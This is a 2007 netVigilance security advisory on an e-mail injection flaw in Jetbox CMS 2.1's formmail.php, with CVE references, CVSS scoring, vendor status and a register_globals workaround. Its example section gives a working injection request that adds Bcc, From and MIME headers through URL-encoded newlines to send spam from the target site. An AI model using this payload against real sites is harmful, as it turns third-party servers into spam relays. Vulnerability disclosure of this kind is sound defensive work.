Bug: Jetbox CMS version 2.1 E-Mail Injection Vulnerability ( Ascii Version )

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Jetbox CMS version 2.1 E-Mail Injection Vulnerability

Published
Credit
Risk
2007.05.18
Jesper Jurcenoks
Medium
CWE
CVE
Local
Remote
N/A
CVE-2007-1898
CVE-2007-2731
No
Yes

netVigilance Security Advisory #26

Jetbox CMS version 2.1 E-Mail Injection Vulnerability
Description:
Jetbox content management system is seriously tested on usability & has a professional intuitive interface. The
system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php &
mysql.

Security problems in the product allow attackers to send any spam e-mails using mail form of target site.
External References:
Mitre CVE: CVE-2007-1898
NVD NIST: CVE-2007-1898
OSVDB: 34088

Summary:
Jetbox content management system has a professional intuitive interface.
Successful exploitation requires PHP register_globals set to On on the server.
Advisory URL:
http://www.netvigilance.com/advisory0026

Release Date:
05/15/2007

Severity:
Risk: Medium

CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Normal
CVSS Base Score: 3.7

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: E-mail injection.

SecureScout Testcase ID:

Vulnerable Systems:
Jetbox version 2.1

Vulnerability Type:
Email Injections using to send anonymous emails to other recipients.
Vendor:
Streamedge Consultancy & Development

Vendor Status:
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained
already. There is no official fix at the release of this Security Advisory
Workaround:
In the php.ini file set register_globals to Off.

Example:
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1 (at) somedomain (dot) com [email
concealed]&_SETTINGS[allowed_email_host
s][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2 (at) somedomain (dot) com [email concealed],
spam_address2 (at) somedomain (dot) com [email concealed], spam_address4 (at) somedomain (dot) com [email concealed],
spam_addressN (at) somedomain (dot) com [email concealed]%0AFrom: any_address (at) somedomain (dot) com [email
concealed]%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam
Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transf
er-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide
REPLY:
Spam will be sent from the target site
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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See this note in TXT Version

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